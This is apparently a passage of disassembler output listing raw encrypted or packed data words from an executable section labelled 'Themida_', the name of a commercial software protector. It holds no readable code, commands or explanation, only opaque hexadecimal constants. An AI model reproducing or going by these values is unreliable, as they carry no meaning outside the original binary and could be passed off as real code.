dd 0EA3215h, 8B77E688h, 778684Bh, 12F5B72Eh, 0E387340Ch
dd 66443240h, 64AE3D75h, 0EC113215h, 0A70188CDh, 0ED25200Ch
dd 74205790h, 41973D13h, 6883215h, 664435FDh, 0D0D0B115h
dd 0AC14743Bh, 669BDB4Dh, 0B8E43215h, 38B33619h, 0F6EE2268h
dd 514504A5h, 1975A8A7h, 0DF73536Fh, 99EECDEAh, 6D1FD3Ch
dd 45ED95h, 9F0DC294h, 8E940974h, 698E2B61h, 66445690h
dd 71A43D15h, 6113215h, 66883FFCh, 871F1A15h, 47181DFFh
dd 247171F5h, 0EDEEFE7Ch, 0EDB853D4h, 74139B90h, 6CF85213h
dd 0DF883215h, 443C90D9h, 6FFCD508h, 9F9A545Eh, 99336174h
dd 4FBBCDEAh, 0E32D69CAh, 6611321Dh, 668AB01Ah, 7243215h
dd 63AE3D75h, 113215h, 0E8A9D894h, 6646B61Ah, 7423215h
dd 8A940974h, 698E2B61h, 66447690h, 0D12D5215h, 639A3DEEh
dd 0DD883215h, 706814FBh, 6DAF3D74h, 8F113215h, 66883213h
dd 826FC8EEh, 0E3A9098Ah, 60031434h, 673361ECh, 67443215h
dd 0E62D69CAh, 66113218h, 66883AFCh, 0E53BE215h, 49CDED5Ch
dd 969409FCh, 698E2B61h, 66447990h, 6628DB15h, 7C1C3215h
dd 54731BA6h, 0B4D91E7Dh, 6763B79Eh, 0E51E3407h, 66883207h
dd 6641DB75h, 0ECB03215h, 69DFFF42h, 6688329Ah, 35135315h
dd 0E161694Ah, 6603DBCAh, 6EE43215h, 77487326h, 660B0491h
dd 8AE406C0h, 65C2A547h, 12B0B72Eh, 0E32D340Ch, 6611325Ah
dd 6686DB75h, 3D263215h, 8AC7F826h, 37963B37h, 95C14DC3h
dd 0C1B8C494h, 0ED433FAEh, 740F1F90h, 61003D13h, 69443215h
dd 6622339Ah, 0E671CB15h, 31E972FFh, 0ED6036EAh, 0A2A31629h
dd 66113211h, 6681BC1Ah, 0D8243215h, 48A8361Ah, 5D706A45h
dd 7FFCCA90h, 50C13D13h, 69223215h, 66113E9Fh, 600A3D15h
dd 69443215h, 66223296h, 0F94B915h, 698E200Ch, 66443394h
dd 0DC70CE15h, 99EECDEAh, 69D2E53Ch, 66443594h, 67A73D15h
dd 93113215h, 9A0D09EDh, 69422B61h, 66220890h, 6603DB15h
dd 0BBBC3215h, 2D5ACED6h, 0D4017FC0h, 54604D1Bh, 66BCE8C3h
dd 6B91B79Eh, 8F423407h, 66113219h, 965FDB78h, 17213AEBh
dd 7E0C822Dh, 99AC6774h, 4F77CDEAh, 5DBD6FFAh, 7F573690h
dd 78943D13h, 9E883215h, 4B0DB79Eh, 9ADA3407h, 99EE8946h
dd 0B9A1CDEAh, 6643DB4Eh, 467F3215h, 0E98BAAA0h, 660D0942h
dd 69422B60h, 66224790h, 0ED1E5215h, 66883217h, 0E24BCC9Eh
dd 66223211h, 5ED48C73h, 0A735B174h, 66422033h, 6676B71Ah
dd 77F83215h, 85883215h, 78187B3Bh, 7462AA3Eh, 58B416AEh
dd 26F7A528h, 40D9B79Eh, 0EE2D3407h, 66113212h, 6689B91Ah
dd 30BD3215h, 6F4C34ABh, 58FFB330h, 0E7C7ED14h, 336832DBh
dd 63C4F318h, 2F69FC94h, 88096245h, 5CA848B1h, 0C709F494h
dd 913808FBh, 0DB0BCE4Bh, 60562264h, 24A63D15h, 6113215h
dd 0C3B68B73h, 664422FCh, 3FAD8E15h, 0E4255E1Ch, 61761B49h
dd 130D9BCBh, 0E319530Bh, 60084799h, 6693B71Ah, 0EDBC3215h
dd 742F5390h, 629A3D13h, 6883215h, 3625F99Eh, 99DDCDADh
dd 3ED61BEAh, 0F735B1EDh, 66422000h, 67DEB61Ah, 74F83215h
dd 56883215h, 434319EEh, 0F318B998h, 53EFD5E8h, 5F471FD1h
dd 7FF9B190h, 66242012h, 67C9B61Ah, 0E1873215h, 66443200h
dd 662ADB75h, 50023215h, 0FF547A2Bh, 0E84B5C74h, 66223215h
dd 16940974h, 698E2B60h, 66440F90h, 0D142CA15h, 661CDA31h
dd 946D3215h, 0ED87206Dh, 0F6514875h, 69F3B591h, 6688329Fh
dd 0ED256815h, 7401F790h, 0EC1E5213h, 66883216h, 9F851Ah
dd 788BAAFh, 99EE8B44h, 0A9A1CDEAh, 0E37FCE4Ch, 603B4795h
dd 663CB71Ah, 0ED743215h, 7474EB90h, 61A63D13h, 69113215h
dd 6688339Dh, 0D812CB15h, 141D5F04h, 0E713D4D4h, 9B3C71FBh
dd 38B333DDh, 6623B61Ah, 5DED3215h, 7FFD4690h, 21C13D13h
dd 69223215h, 66113396h, 0E303C715h, 605622C4h, 66223FFCh
dd 309A2B15h, 70A3EE67h, 677CB7Eh, 0DB775147h, 76C6668Ah
dd 9309E7E2h, 896C9974h, 67FDD14h, 661AB01Ah, 63603215h
dd 0FC443215h, 0CEA78702h, 7EAF544Eh, 0E3B35384h, 605D4791h
dd 660FB71Ah, 0E11E3215h, 6688321Dh, 0A0F33D75h, 7FD8D1Ah
dd 48E8B79Eh, 6C613407h, 0E0443215h, 0FD9707DCh, 0CD0C0C90h
dd 99306272h, 4FBBCDEAh, 5DDA6AD2h, 7F64BA90h, 5E0D3D13h
dd 6443215h, 66223CFDh, 0E6716315h, 0C38C52E0h, 651ACDCBh
dd 17D6BCh, 39C8BCACh, 19278D73h, 3BC1B974h, 6242035h
dd 0C2B973h, 0FFFAFA94h, 99FC6274h, 4FDDCDEAh, 5DE96AD2h
dd 7FFD4A90h, 51C13D13h, 69223215h, 66113695h, 0A4035215h
dd 33C1B974h, 8F24201Bh, 66113218h, 0CAB04F63h, 56DE3909h
dd 1992FDBBh, 67A863B6h, 67883215h, 69246BDAh, 66223193h
dd 959A5415h, 0E3B353ECh, 605D4769h, 663EB71Ah, 0E71E3215h
dd 66883212h, 6645BF1Ah, 0EDD73215h, 740BDB90h, 910FC713h
dd 0E145F496h, 0DBA1CEE2h, 6003350Ch, 970C3D15h, 6944321Dh
dd 66223391h, 0E32AC715h, 6091471Dh, 6606B71Ah, 77CB3215h
dd 56113215h, 0BDAE83E5h, 4F0EF731h, 0F5CA14F9h, 898C711Eh
dd 7EC9B79Eh, 63AD3407h, 0D6223215h, 762C53F3h, 66898C43h
dd 91453215h, 662CDB4Bh, 0BC083215h, 0B035C78h, 0AF506480h
dd 5B32790Eh, 138DB72Eh, 0E387340Ch, 6644325Ch, 6623B31Ah
dd 0EDE93215h, 74AE9F90h, 0E04BCB13h, 66223212h, 6610B61Ah
dd 36743215h, 1425D3ADh, 43FAC50Eh, 34EA2E5Eh, 9780E818h
dd 7A981F50h, 0A10B77ECh, 0AE9A524Dh, 752B973h, 66443AFCh
dd 5419715h, 461C8914h
dd 6A0D0990h, 69422B60h, 66225590h, 661DDB15h, 5DC83215h
dd 0AEAF0B58h, 89203527h, 0E91EDA3Dh, 6688321Bh, 66443BFCh
dd 4676E415h, 1DD27017h, 0E303D41Bh, 60561904h, 662226FCh
dd 5267D315h, 0FFAF7C9h, 64BDDAC9h, 0D2907374h, 5027495Eh
dd 93E8522Eh, 87FA5474h, 0A91353DDh, 0A920CB24h, 8F47B554h
dd 66443219h, 0F421ABCBh, 3662880Eh, 2F05F129h, 1354B72Eh
dd 0E32D340Ch, 66113257h, 418275h, 7E239ACh, 7C97B79Eh
dd 34E43407h, 19936BAFh, 84A6B350h, 0E766890Dh, 2007B3E7h
dd 6262F35Ah, 94C5E8E2h, 996A1D00h, 64BE514h, 668834FCh
dd 3DE33D15h, 0D9CFADD3h, 33F6AE29h, 0E3B3C774h, 605D4701h
dd 6675B71Ah, 77F83215h, 883215h, 0EE7B0C82h, 0F6512AAh
dd 0B24F648Ah, 18CB64AFh, 664420FCh, 21D7A315h, 55903B71h
dd 8C32321Dh, 0B38EB1BFh, 0ED112A23h, 74386B90h, 8A09CB13h
dd 66443211h, 99060E9Ch, 8F4E1611h, 66883204h, 19B4ECA9h
dd 192281F6h, 1EAC3566h, 3E218DD2h, 7EC10952h, 69242B60h
dd 66116390h, 6683DB15h, 0B20D3215h, 306F34DAh, 67716AA9h
dd 0A735B10Fh, 66422033h, 6616B71Ah, 0EC1E3215h, 6688321Dh
dd 6646B81Ah, 7423215h, 7C3CB79Eh, 77613407h, 0CA443215h
dd 4A384EB5h, 7D0EA922h, 5CFFA464h, 89674ACCh, 57E503EDh
dd 26D603EDh, 0E3B3CA82h, 605D4709h, 6608B71Ah, 61F83215h
dd 0E7883215h, 0EB21DC3h, 0E3A9CCA5h, 60031314h, 66883BFCh
dd 1A928E15h, 4A49C965h, 0DC43D323h, 9977CDEAh, 9A1EE53Ch
dd 1302B72Eh, 0E31E340Ch, 66883245h, 0A7F9B1EDh, 66242033h
dd 6653B71Ah, 9A703215h, 6655B79Eh, 0E82D3407h, 6611321Bh
dd 66883BFCh, 3D561215h, 0BB34B796h, 0D8474DE8h, 9977CDEAh
dd 691AC53Ch, 66222597h, 77993D15h, 8F883215h, 66443219h
dd 643E27FFh, 651E0F73h, 4B48A57Dh, 1360B72Eh, 0E32D340Ch
dd 66113226h, 6683B61Ah, 60AD3215h, 87223215h, 351A31F5h
dd 7F0DB932h, 8F42200Ah, 66223218h, 42090328h, 0C83E4035h
dd 948D6F60h, 679C6441h, 67113215h, 5D746CE2h
byte_5C2208 db 90h ; DATA XREF: Themida_:00553094o
db 1Ah, 31h, 7Fh
dd 42A73D13h, 93113215h, 76B9B79Eh, 243407h, 0DFADEB94h
dd 37706D42h, 668833ACh, 3F8B3315h, 93E6B275h, 8A61D1ACh
dd 5D74531Fh, 7F310290h, 27A73D13h, 69113215h, 6688339Ah
dd 0DBC7CB15h, 603014D4h, 4B943D15h, 6883215h, 9C528DEDh
dd 0ED432B59h, 74312390h, 0E7EE5213h, 0D56D39D7h, 0DF735326h
dd 619657E5h, 2FC1E3E2h, 8FC5EBE2h, 61A557E1h, 9A48FD3Ch
dd 13A4B72Eh, 0E34B340Ch, 66223231h, 0A7ACB1E9h, 668E2033h
dd 6652B71Ah, 0EC2D3215h, 66113214h, 0A70DB9E9h, 9F422013h
dd 99DD1F82h, 9386CDEAh, 13BCB72Eh, 0E34B340Ch, 6622322Bh
dd 6619B71Ah, 0E1873215h, 66443217h, 0E3A95375h, 60031140h
dd 6680BB1Ah, 0E04B3215h, 66223217h, 0DC435375h, 66883214h
dd 8F1EE514h, 6622321Bh, 0B2DAB243h, 16337C84h, 74BC22B5h
dd 0E3196856h, 6008472Dh, 66CBB71Ah, 8F243215h, 66223213h
dd 0E4579769h, 6161A2D3h, 0A7443215h, 440840Bh, 0ED701083h
dd 7491A790h, 6AC03D13h, 69223215h, 6611349Eh, 660A3D15h
dd 34443215h, 662233AFh, 3CC63315h, 0D1875275h, 7BC53C2h
dd 5AA709EDh, 69172B60h, 66880690h, 6EAD5215h, 1C223215h
dd 491C0AD1h, 70372F2h, 772DB79Eh, 0E32D3407h, 66113214h
dd 993062E0h, 4FBBCDEAh, 0E7426AD2h, 5E6C0EFBh, 0E7EE6147h
dd 39050BC2h, 26A70974h, 69172B60h, 66880390h, 6AC53D15h
dd 69223215h, 66113496h, 66063D15h, 0ED443215h, 74268390h
dd 0B996CA13h, 9977D994h, 0B9C3CDEAh, 662ABB1Ah, 0E01E3215h
dd 66883217h, 0E37F5375h, 603B4751h, 663AB71Ah, 68613215h
dd 0C4443215h, 0AFC36A66h, 0C251C89Bh, 854D1DEEh, 43C1B964h
dd 69242004h, 6611339Eh, 0DFD9CB15h, 99BBCDEAh, 67BFD3Ch
dd 2E940974h, 698E2B60h, 66441C90h, 0E3A9CA15h, 600336E4h
dd 668FBF1Ah, 0EF4B3215h, 66223214h, 67AA61E0h, 67883215h
dd 6AAD69CAh, 0C1223215h, 0DD1D3146h, 0BDE5FB7Bh, 5D8C1070h
dd 7F577E90h, 4D943D13h, 69883215h, 66442691h, 662DDB15h
dd 7DA83215h, 917F0Eh, 5302EC0Fh, 70725F89h, 0A794B9E7h
dd 938E2000h, 99BB8A45h, 0A10BCDEAh, 0E32ACA4Dh, 60914745h
dd 6668B71Ah, 0EDDE3215h, 7437E790h, 6686DB13h, 0A4B23215h
dd 77368CE8h, 62CBF449h, 0A74797C2h, 66458C43h, 91233215h
dd 3842524Bh, 0A53F3D43h, 0E37F534Ch, 60301F48h, 6622B71Ah
dd 69E83215h, 66443492h, 66A23D15h, 0ED113215h, 0E30353EDh
dd 60563688h, 679F67E0h, 67113215h, 68616FFAh, 84443215h
dd 0F236617Fh, 0F8618B64h, 89229C30h, 32C10915h, 69242B60h
dd 66110390h, 0E303CA15h, 60561BF8h, 0BDA35475h, 8F717BBDh
dd 66883205h, 82E360C9h, 0DD075F4Eh, 1FB753B4h, 98A68C22h
dd 725F09Fh, 99DD8F40h, 8938CDEAh, 0E3B3CA48h, 605D4785h
dd 6682B71Ah, 0E51E3215h, 66883200h, 664422FCh, 0EA89F615h
dd 470C3E98h, 43031474h, 5F376B5Ch, 6631DB34h, 18BA3215h
dd 0D9CAD456h, 8B33BDAFh, 6844E7AFh, 805DD5FEh, 0FE35B110h
dd 66422B60h, 660BB71Ah, 0E41E3215h, 6688321Dh, 6646B81Ah
dd 7423215h, 63988F96h, 69883407h, 66447791h, 6EA63D15h
dd 6113215h, 6688BA1Ah, 0ED253215h, 7412F790h, 0DB44CA13h
dd 591C44DDh, 93C5E7E2h, 58500252h, 0DF7EDF94h, 8989CC0Ch
dd 6650DB48h, 2F823215h, 172A361Bh, 244511A3h, 1C847CC1h
dd 2F6B87C6h, 0E32AD040h, 60914781h, 6618B71Ah, 9FD73215h
dd 13898F96h, 6988340Ch, 66441890h, 6625DB15h, 93463215h
dd 0F516C438h, 0EFF9B174h, 66242010h, 6625B61Ah, 6A613215h
dd 73443215h, 301AD582h, 0DAACD124h, 0EDF572FCh, 7442FF90h
dd 0DB77CB13h, 66113214h, 8FD5DD14h, 6644321Bh, 3E63F5FFh
dd 39C33CFAh, 0A75D1535h, 0E37F727Ah, 603B474Dh, 6639B71Ah
dd 0ED743215h, 745EFB90h, 0A9A95213h, 7D25E194h, 33E92D02h
dd 99BBCDA8h, 3BCD1BEAh, 66113BFCh, 34513615h, 0C49EBE17h
dd 0E31982D3h, 60084749h, 66BCB71Ah, 68AD3215h, 48223215h
dd 0D599A1E2h, 0F8EE5782h, 6373F456h, 6BA7B974h, 6172006h
dd 668BB81Ah, 0ED223215h, 91E4B2DFh, 67AB6074h, 67883215h
dd 0ED2468C2h, 0E31953E6h, 60084775h, 66C0B71Ah, 0EDB83215h
dd 742F9B90h, 6605DB13h, 3C813215h, 2E7F2FDBh, 23AE31C6h
dd 0A3B5F865h, 0AFDD5DFh, 0D8120C15h, 0F0D4DFFh, 2816D4D4h
dd 0E7CED4C4h, 0E65232E3h, 38D51BC5h, 661DBC1Ah, 61613215h
dd 65443215h, 12E00548h, 0E32A0BB6h, 60914771h, 6671B71Ah
dd 0EDDA3215h, 741CCB90h, 6A053D13h, 6443215h, 64E78C73h
dd 1DC4DC94h, 69E96123h, 66443490h, 7425215h, 3470DD9Fh
dd 668833AFh, 3C933315h, 6623B41Ah, 5DE43215h, 7FFD5A90h
dd 59C13D13h, 69223215h, 6611239Bh, 6D033D15h, 8F443215h
dd 66223213h, 0CED21B1Eh, 0E3037E5Bh, 6056349Ch, 999F67EDh
dd 4FEECDEAh, 75616FFAh, 78443215h, 48A02CE0h, 536F778Fh
dd 2680C151h, 0DE2616B7h, 0E319E868h, 60084779h, 66EAB71Ah
dd 69243215h, 6622369Fh, 13A95415h, 669CDB21h, 199F3215h
dd 0B69181F1h, 8A323Ah, 0A2660C71h, 9DE61379h, 0ED43F6A8h
dd 74097390h, 61053D13h, 6443215h, 0ED44B2A6h, 0D84753DAh
dd 9977CDEAh, 61AC53Ch, 6B4FE094h, 75F82EB0h, 10883215h
dd 4C1313EEh, 0A359E20Ah, 79D8D232h, 3560D4ACh, 93256E07h
dd 0E22DCD1Eh, 66113201h, 6E33CA75h, 71A14F3h, 99CFD9FCh
dd 67953DEAh, 9E883215h, 7D41B72Eh, 0E32D3407h, 66113220h
dd 0B80DBFE0h, 9A422B08h, 662221FCh, 6CAEE015h, 0F3718716h
dd 7C311FAFh, 532C35Eh, 0BD7498C9h, 996581FCh, 664FDBEAh
dd 0E8323215h, 2401736h, 8CB7E276h, 4BC10968h, 69242036h
dd 66115D90h, 75605215h, 0E8443215h, 0A68F6FE4h, 78B70F6h
dd 448EA8BCh, 0CB2280BEh, 61CAC64Eh, 0C5113215h, 0B1CCBB1Ah
dd 381C65F0h, 0E5436842h, 7F658AA8h, 0E3873313h, 6644322Dh
dd 662ABF1Ah, 69713215h, 6688329Fh, 0E3C95315h, 667B3972h
dd 661138FCh, 0A0310D15h, 2B1AE48h, 8F1A59D2h, 99EEDF2Dh
dd 69228275h, 66443497h, 66A13D15h, 7113215h, 1240B72Eh
dd 0E24B340Ch, 66223229h, 6605B31Ah, 0E3873215h, 6644321Bh
dd 66223BFCh, 3C6C0A15h, 8FCAD2CFh, 0E37FCE8Bh, 603B46D9h
dd 663AB71Ah, 76613215h, 0AE443215h, 5FAB6817h, 0CF8AEBFAh
dd 0C2254B19h, 9336E6C3h, 99CEE9FCh, 661ADBEAh, 0A62E3215h
dd 0B2608E77h, 7099266Dh, 0DF4065EEh, 59AA53D9h, 0E743DBD4h
dd 0CA424DFCh, 8F90736Bh, 0B4FE03Bh, 0E71DFD9Ch, 742924E2h
dd 0E7C6C50Dh, 0B9C829FAh, 7B83B325h, 0EF1EC54Ch, 0EE1E6DEBh
dd 6688321Ah, 664438FCh, 0F73CD015h, 0FC009845h, 0E55C824Bh
dd 0E34B33EBh, 662232EAh, 6602B21Ah, 68613215h, 67443215h
dd 19C8E384h, 7A58DC28h, 0C900FDE3h, 0DAC1098Ch, 69242B61h
dd 66117190h, 74003D15h, 8F443215h, 66223218h, 0C65AB929h
dd 24A750B0h, 179812FBh, 0A2A7BF04h, 69116A92h, 66882796h
dd 6654DB15h, 49C13215h, 3E619188h, 3DEAEBA1h, 8AA1F826h
dd 7FCB3B37h, 6EECDF9h, 74B851Ah, 1284B72Eh, 0E32D340Ch
dd 6611323Eh, 5C0DBFE9h, 8F446A9Dh, 66223212h, 0BABDCA1Fh
dd 8F1BD848h, 99BBD9E5h
dd 60A93D75h, 69113215h, 6688329Fh, 0BCC55415h, 5D43D69Bh
dd 7F65F690h, 320D3D13h, 69443215h, 66221D93h, 68F85215h
dd 7C883215h, 557D77F2h, 0EA9A9935h, 4D86FBFDh, 669CDA96h
dd 0CA4C3215h, 0A8FCA019h, 77E0C84Ch, 0FF0BFD62h, 1327C5EBh
dd 77D7EE5h, 0EE6EB798h, 6361324Dh, 0E8443215h, 0AFFC15D6h
dd 99FAB5FCh, 668DDBEAh, 10AA3215h, 36B2B61Eh, 66FC8C43h
dd 12890C19h, 3E1A3631h, 6A22DF38h, 679F3D2Bh, 93883215h
dd 31C88B44h, 0DE722565h, 44353237h, 8585E2E2h, 2E7F1556h
dd 1675BE10h, 3ED01B02h, 8FD1FC9Ch, 66443212h, 2783A944h
dd 6DE86EE7h, 610D3DE3h, 9E443215h, 99C92BFCh, 0E741CBEAh
dd 14881621h, 52CF64D5h, 62E6B131h, 1411C494h, 0EF7164D5h
dd 744883A0h, 0D3ABC713h, 60031228h, 8FB6B2E0h, 66B3B71Ah
dd 34DA3215h, 661133AFh, 997A3315h, 8F1E6D27h, 66223219h
dd 4B02B2DBh, 51F79661h, 6933E3E1h, 7504F594h, 91100450h
dd 75AE8F40h, 896D0450h, 715248h, 324FC294h, 7E8604Bh
dd 0EF16534Ah, 0EDF1BBE7h, 0A2921601h, 730C3D11h, 8F443215h
dd 66223205h, 0D42486B1h, 59132595h, 3191C71Ah, 7BDCCD2Bh
dd 0EF15DE96h, 6E311619h, 0E717AE4Bh, 556A75F4h, 53D8B32Bh
dd 0E7AE516Fh, 78056FFCh, 4EE3B350h, 671F9912h, 6A616BDEh
dd 0D7443215h, 0A8409816h, 6F067CE0h, 8F13D977h, 6644321Ah
dd 1BC570EBh, 0C641D5EAh, 0C4514625h, 5D171856h, 742E83A8h
dd 5E933D13h, 9E883215h, 0E04BC92Eh, 66223220h, 6638B61Ah
dd 8EE83215h, 6644321Ah, 9D206926h, 7675C2C8h, 6701C0A9h
dd 383B3474h, 66223FFCh, 4C292915h, 0BA7D96EFh, 914D8021h
dd 8F43A011h, 99EEDBE3h, 335B9E0h, 69422037h, 66223E9Fh
dd 609A3D15h, 69883215h, 66443299h, 67AA3D15h, 9E113215h
dd 7859B7D2h, 66443407h, 423215h, 0CA0CEB94h, 668839FDh
dd 7A2E3715h, 72A5E47Ch, 5AABC89Dh, 3E77851Ah, 61AD5274h
dd 92223215h, 5559A927h, 0D301D914h, 60561228h, 0D0888875h
dd 7714717h, 740B3D74h, 8F443215h, 66223218h, 0D2FB361Ah
dd 72B3CBB6h, 3733E109h, 1EBFBF73h, 6172BECh, 668821FCh
dd 32E37015h, 0F61317D6h, 24FAD907h, 5F6F9C7h, 19127CA7h
dd 3FC08243h, 8FC2CD74h, 66883205h, 742EE989h, 0BD7A2F38h
dd 382D6F33h, 0A0E46137h, 0E24BF21Eh, 66223237h, 661137FCh
dd 3A8A3015h, 0F8AD3DBCh, 69223215h, 66113F92h, 6680DB15h
dd 864C3215h, 0EB053AF5h, 0FB9CFD10h, 609FB994h, 66443DFCh
dd 24C2E815h, 0CDEDACFCh, 6B600291h, 0FBADB1CAh, 0E52DE1EAh
dd 99EECD47h, 66883BFCh, 5E85A615h, 0ED6C1375h, 0E01E9398h
dd 6688321Dh, 6646B31Ah, 7423215h, 462C879Eh, 0E83407h
dd 853CF294h, 0B797BB74h, 6917200Bh, 66883992h, 0E74B5215h
dd 66223215h, 7E9B973h, 0F2D5AF98h, 75AD340Dh, 0E6223215h
dd 0D89429C6h, 516CB179h, 0B8BB6CD6h, 0B553D44h, 0B5EED0DCh
dd 75305475h, 0A4CF54AFh, 0D7A7B974h, 6172019h, 37018873h
dd 6644B01Ah, 0EF433215h, 74310F90h, 6E9CA13h, 664439FCh
dd 28E0B315h, 0A98B6AB3h, 0F27D7EF9h, 1E318A73h, 8E1CB274h
dd 66DEB71Ah, 6A613215h, 1D443215h, 6AC3D67h, 8549A732h
dd 0E51EF24Fh, 745D0BA8h, 0E22D3213h, 661132A4h, 0D3D954E0h
dd 8CCC60FCh, 78E29Dh, 679C3D4Ch, 9F883215h, 664EDBBFh
dd 95413215h, 375A086Ch, 9F458AC7h, 4240B943h, 8F26F696h
dd 66113210h, 78105B43h, 67CF3D9Ah, 9E223215h, 0E7167D10h
dd 37701B28h, 3E768FACh, 0D8CBB355h, 2701F20Bh, 6E61B35Ch
dd 0E712FF12h, 0D72B83FCh, 91F8B371h, 4FBEAAEEh, 75AD6BDDh
dd 90223215h, 0B0198B0Ch, 5CCDAC05h, 3F7EC59Ah, 8591A61Bh
dd 0D84752D2h, 51C80BB8h, 3E82B35Bh, 4FEA8DD3h, 0CDE46CE5h
dd 669DB21Ah, 76AD3215h, 34223215h, 0B10D4A19h, 95F83618h
dd 48DDFE1h, 8FE39E3Eh, 661133FAh, 1115BFE9h, 8F422BCAh
dd 66223204h, 0BF9CE127h, 718EFB7Ch, 0E52C9D84h, 0A5039D15h
dd 8FC2CDF5h, 6688321Fh, 0D6FEB401h, 0E1725625h, 0FB9C4CABh
dd 6091C659h, 8F97CDE0h, 66223212h, 78F8F0FFh, 6DCD2C3Bh
dd 61C13DD5h, 9E223215h, 66111FFCh, 0E30BCE15h, 60561228h
dd 0BDA35210h, 2BD2050Ah, 0A46153EDh, 6BBCDEBh, 6620B01Ah
dd 919A3215h, 0E78753ECh, 66443213h, 67D6075h, 0FB9C5374h
dd 6091C486h, 6655BE1Ah, 0E72D3215h, 6611321Eh, 668834FCh
dd 1A550615h, 99802C00h, 0A61AC7C6h, 6685B71Ah, 8FB13215h
dd 66223224h, 6610B91Ah, 36703215h, 664436ADh, 91E0B315h
dd 6743AB1Bh, 9162B3D7h, 3E16AB1Bh, 64A73D75h, 6113215h
dd 0ACB38A74h, 8F257F04h, 66223306h, 0E78CBFE0h, 8F8E259Eh
dd 66443201h, 0CE8564F3h, 6C8E9F37h, 0F4133EF6h, 2BC9CDB6h
dd 0A926205Eh, 0E51EE1EAh, 66883228h, 6655BF1Ah, 0E02D3215h
dd 6611321Eh, 668834FCh, 0DF89CA15h, 0ED4AC131h, 74310FA0h
dd 0EDE8C713h, 0A8CF54DAh, 4835DB74h, 69713215h, 6688399Dh
dd 6642DB15h, 0B20E3215h, 41E1A415h, 5B05B974h, 8F422035h
dd 66223212h, 5625F8F5h, 0EFB25B2Dh, 74640FA0h, 0DD71CB13h
dd 52A24ABCh, 915BC55Eh, 919FC5CEh, 0B4E1B3CEh, 4F0EE5F0h
dd 97A169CCh, 383FF394h, 35D7669Eh, 661132AEh, 6163B315h
dd 4F507B50h, 61E1B3DEh, 0EF057B50h, 69E869CCh, 0E722E5AAh
dd 7501CE2h, 34C8946h, 0B88926B8h, 0E78A1B4Eh, 0CB476FFBh
dd 79983D01h, 69883215h, 66442B9Ch, 6636DB15h, 1A9A3215h
dd 0F592DFC2h, 260DE828h, 32797F08h, 0D769D542h, 0C27BA32Bh
dd 9B0BDBEDh, 6942CDEAh, 66113E93h, 668EDA15h, 9DE43215h
dd 9A03CC2Eh, 0EB70CE4Ah, 7E1E4488h, 0DC225213h, 0DD442CB7h
dd 99702829h, 0D18752C6h, 62C03DE5h, 223215h, 78C6EACh
dd 0EF8CDE96h, 931C1629h, 4447B73Eh, 0EFED3407h, 749A9F90h
dd 0E3CFCB13h, 60301070h, 661DBB1Ah, 0EB873215h, 66443213h
dd 6622BD1Ah, 34E43215h, 0A409D09Ch, 66443211h, 0E126D896h
dd 0EF4D1601h, 68611629h, 0A1443215h, 2B34C713h, 0AA0096F3h
dd 94C7ACAFh, 55C05ABFh, 62AB3215h, 0B99A5231h, 96373D75h
dd 725CB9Eh, 0FEBEBF98h, 99E8340Dh, 60093DC4h, 6443215h
dd 92A85375h, 8394B974h, 9E8E2038h, 48B5AE9h, 62AB3215h
dd 6AF85231h, 76883215h, 0CA7BB07Ch, 5C3DC6E0h, 402D24h
dd 7B3FBAAh, 6645BD1Ah, 37DB3215h, 0A790D39Ch, 66883211h
dd 0E140DB96h, 0EF7E1619h, 0EDE81629h, 74AA5790h, 664BDB13h
dd 0F3D93215h, 34D2B9C1h, 4B8BF0E1h, 0D70A5531h, 6D4ACE21h
dd 0EF113259h, 0E81611h, 0A8A6D294h, 6631DB42h, 0C4553215h
dd 0B0326615h, 0ADC7D307h, 0C9EDA9Ch, 5B9CDDF8h, 0EBE96971h
dd 7EDE1798h, 36D75213h, 19FAB373h, 99E96AA9h, 67CA3DC4h
dd 9F223215h, 62906243h, 67887D31h, 88C56C15h, 6623325Ah
dd 694FC09Ch, 6688209Bh, 6649DB15h, 2FD3215h, 0A6FED834h
dd 0ABF70800h, 3665C473h, 0F9063694h, 3F532879h, 263D8D42h
dd 290358B3h, 646EFD94h, 0A1907DB5h, 55E85EF0h, 12C9F594h
dd 91A34606h, 33117AE5h, 9ED7CB3Ch, 66443FFCh, 846CF415h
dd 781BA2CCh, 3C6EB91Ch, 0EB6F5360h, 60301FF0h, 660EB31Ah
dd 8FE83215h, 66443201h
dd 90C62636h, 3A243412h, 0EFF8E85Fh, 997FE802h, 8F923BC0h
dd 214A8873h, 1F35B174h, 66422037h, 66BCB61Ah, 0EB1E3215h
dd 66883206h, 66443CFCh, 77FBD715h, 0CE23093Ah, 0F773B492h
dd 0ED264B1Eh, 740BCB90h, 6602DB13h, 0BB643215h, 28BF971Eh
dd 7CEE0E8h, 0CED21B1Eh, 0D0B77E5Bh, 1FC119C4h, 6242037h
dd 9F9A5475h, 5DE953E0h, 37C23DD4h, 6223215h, 66113CFCh
dd 21DB9915h, 930483B7h, 0C14F2F35h, 690E9E9Ch, 0EDE9EDAAh
dd 744A7B90h, 0EB2D5213h, 66113217h, 65E9F49Eh, 74664B90h
dd 6625DB13h, 396A3215h, 0C40B3006h, 0A7C1BB40h, 624200Ch
dd 0D4712EAFh, 6F37546Fh, 0D9AD5322h, 9A223214h, 0E7F0BB44h
dd 668836D4h, 62ADB315h, 0E1223215h, 0EF4D1619h, 0D6E81619h
dd 0BEF33D1Bh, 0A8AB6474h, 529AC29Ch, 624CB331h, 8F443215h
dd 66223201h, 5BEA1023h, 338B5827h, 0D92D1571h, 9CEEE30Eh
dd 9C577FE3h, 99778C43h, 9645CDEAh, 6974524Bh, 6611329Fh
dd 0D4E86B15h, 664ADA34h, 48B3215h, 0FA67AB5Eh, 0C51CCCF1h
dd 0CA4FEC8Ch, 3543534Ch, 661ECDAEh, 0ED503B15h, 0A2C51609h
dd 66223211h, 66113FFCh, 8CCBD015h, 676B858Ch, 0AB20DFDAh
dd 0E741D1DEh, 66891611h, 61C3215h, 662238FDh, 0FBB12115h
dd 1F8C06ABh, 3446ADE0h, 0E7446B4Dh, 7A36FD7h, 4F71B79Ch
dd 0E44B3407h, 66223212h, 8B568975h, 67E94B68h, 745ACB90h
dd 6AA13D13h, 69113215h, 66883494h, 66CE3D15h, 0A1223215h
dd 74334B90h, 66883213h, 664EDB15h, 0B1F73215h, 384F32D9h
dd 36A9B8B9h, 664CB31Ah, 0E52D3215h, 66113217h, 26E25375h
dd 664439FCh, 0D0466C15h, 0B6A3D78Dh, 0AA0D63A1h, 6654327Dh
dd 33DECE15h, 0A390D79Ch, 66883211h, 0E140DF96h, 0EF7E1639h
dd 711619h, 0ED1A35ABh, 662E53EEh, 6623B11Ah, 6ED3215h
